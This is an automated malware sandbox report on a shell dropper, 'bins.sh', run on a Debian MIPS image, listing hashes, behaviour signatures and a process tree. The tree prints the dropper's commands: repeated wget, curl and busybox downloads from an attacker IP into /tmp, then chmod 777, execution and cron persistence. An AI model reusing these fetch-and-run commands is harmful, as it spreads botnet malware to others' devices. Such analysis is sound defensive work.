Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04-11-2024 15:51

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    898d2a8094e95f2f2f209d428d2b92ee

  • SHA1

    54d0f3fd153a1d6b01517f1edb40a857c0e99f30

  • SHA256

    c92c00e4a850ad8e04046670752a4df1f859bec56c7ab8ec7b79e187d76d11b2

  • SHA512

    b35541605c8b1b92212cb1c5ca69ec259257a3fb89fc3d88bd487b1ee81dec4867611b2d0ae14ce7c25cf6a66af314f8ef488d11ce067687626373ceee2af062

  • SSDEEP

    192:9l/XbGStJNVIZNW/nDQvP2QcdCSFXbN5NVIZNMnDQvP2QcdCSr:9lySDNVIZNW/nDQvPqNVIZNMnDQvPq

Malware Config

Signatures

  • Contacts a large (1562) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 14 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:709
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:713
        • /usr/bin/wget
          wget http://87.120.84.230/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • Writes file to tmp directory
          PID:716
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • Writes file to tmp directory
          PID:738
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • Writes file to tmp directory
          PID:742
        • /bin/chmod
          chmod 777 sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • File and Directory Permissions Modification
          PID:772
        • /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          ./sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • Executes dropped EXE
          PID:774
        • /bin/rm
          rm sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
            PID:777
          • /usr/bin/wget
            wget http://87.120.84.230/bins/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            2⤵
            • Writes file to tmp directory
            PID:779
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            2⤵
            • Writes file to tmp directory
            PID:791
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            2⤵
            • Writes file to tmp directory
            PID:792
          • /bin/chmod
            chmod 777 0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            2⤵
            • File and Directory Permissions Modification
            PID:793
          • /tmp/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            ./0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            2⤵
            • Executes dropped EXE
            PID:794
          • /bin/rm
            rm 0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            2⤵
              PID:796
            • /usr/bin/wget
              wget http://87.120.84.230/bins/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
              2⤵
              • Writes file to tmp directory
              PID:797
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
              2⤵
              • Writes file to tmp directory
              PID:798
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
              2⤵
              • Writes file to tmp directory
              PID:802
            • /bin/chmod
              chmod 777 y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
              2⤵
              • File and Directory Permissions Modification
              PID:803
            • /tmp/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
              ./y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
              2⤵
              • Executes dropped EXE
              PID:804
            • /bin/rm
              rm y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
              2⤵
                PID:806
              • /usr/bin/wget
                wget http://87.120.84.230/bins/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv
                2⤵
                • Writes file to tmp directory
                PID:807
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:812
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv
                2⤵
                • Writes file to tmp directory
                PID:825
              • /bin/chmod
                chmod 777 upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv
                2⤵
                • File and Directory Permissions Modification
                PID:830
              • /tmp/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv
                ./upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:831
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:833
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:834
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:837
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          PID:838
                    • /bin/rm
                      rm upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv
                      2⤵
                        PID:843
                      • /usr/bin/wget
                        wget http://87.120.84.230/bins/u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F
                        2⤵
                          PID:847
                        • /usr/bin/curl
                          curl -O http://87.120.84.230/bins/u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F
                          2⤵
                            PID:930
                          • /bin/busybox
                            /bin/busybox wget http://87.120.84.230/bins/u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F
                            2⤵
                            • Writes file to tmp directory
                            PID:937
                          • /bin/chmod
                            chmod 777 u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F
                            2⤵
                            • File and Directory Permissions Modification
                            PID:938
                          • /tmp/u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F
                            ./u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F
                            2⤵
                            • Executes dropped EXE
                            PID:939
                          • /bin/rm
                            rm u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F
                            2⤵
                              PID:941
                            • /usr/bin/wget
                              wget http://87.120.84.230/bins/gLVzcHCyXJDpQzJttqY2KthXSbpcygMvTA
                              2⤵
                                PID:942
                              • /usr/bin/curl
                                curl -O http://87.120.84.230/bins/gLVzcHCyXJDpQzJttqY2KthXSbpcygMvTA
                                2⤵
                                  PID:943
                                • /bin/busybox
                                  /bin/busybox wget http://87.120.84.230/bins/gLVzcHCyXJDpQzJttqY2KthXSbpcygMvTA
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:944
                                • /bin/chmod
                                  chmod 777 gLVzcHCyXJDpQzJttqY2KthXSbpcygMvTA
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:945
                                • /tmp/gLVzcHCyXJDpQzJttqY2KthXSbpcygMvTA
                                  ./gLVzcHCyXJDpQzJttqY2KthXSbpcygMvTA
                                  2⤵
                                  • Executes dropped EXE
                                  PID:946
                                • /bin/rm
                                  rm gLVzcHCyXJDpQzJttqY2KthXSbpcygMvTA
                                  2⤵
                                    PID:948
                                  • /usr/bin/wget
                                    wget http://87.120.84.230/bins/JieywQe0nYsBJBbvuW7JyfzeQwEUYoFTC1
                                    2⤵
                                      PID:949

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • /tmp/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF

                                    Filesize

                                    141KB

                                    MD5

                                    3ca8decdb1e52c423c521bfff02ac200

                                    SHA1

                                    8621ecd6807109b8541912ad9e134f6fb49bfd48

                                    SHA256

                                    dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                    SHA512

                                    b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                  • /tmp/gLVzcHCyXJDpQzJttqY2KthXSbpcygMvTA

                                    Filesize

                                    107KB

                                    MD5

                                    eb9c3a0de91fcf16ba17cb24608df68c

                                    SHA1

                                    09d95a7d70d5e115d103be51edff7c498d272fac

                                    SHA256

                                    dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                    SHA512

                                    9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                  • /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr

                                    Filesize

                                    112KB

                                    MD5

                                    05d7857dcead18bbd86d2935f591873c

                                    SHA1

                                    34d18f41ef35f93d5364ce3e24d74730a4e91985

                                    SHA256

                                    2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                    SHA512

                                    d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                  • /tmp/u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F

                                    Filesize

                                    111KB

                                    MD5

                                    ca897a38f23ec23521ce0b1b83f8422d

                                    SHA1

                                    b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                    SHA256

                                    043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                    SHA512

                                    10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                  • /tmp/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv

                                    Filesize

                                    151KB

                                    MD5

                                    6c583043d91c55aa470c08c87058e917

                                    SHA1

                                    abf65a5b9bba69980278ad09356e53de8bb89439

                                    SHA256

                                    2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                    SHA512

                                    82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                  • /tmp/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy

                                    Filesize

                                    119KB

                                    MD5

                                    1b166b95f9cb4b079ef1b9ec8363ddf3

                                    SHA1

                                    0d8eb08add467b3b5474f9b25909297fe7c2839c

                                    SHA256

                                    94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                    SHA512

                                    983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                  • /var/spool/cron/crontabs/tmp.7w6qRo

                                    Filesize

                                    210B

                                    MD5

                                    7c632831e4fd154073d94788dc54df1d

                                    SHA1

                                    37ecaa33f74461686e8b3ce5473cebc4dfd4b446

                                    SHA256

                                    53ed6694afac43c7685ec150b4accd6de71d1b08bad8ba3c9185929813f40d56

                                    SHA512

                                    f6186a5be1484d3a512bbb696745b1914608a9ea1166f1d056ddd79379bb09a841ab024eb0ef89585f4446774170ef9a3bebc74948e62998c319682e6eac69c1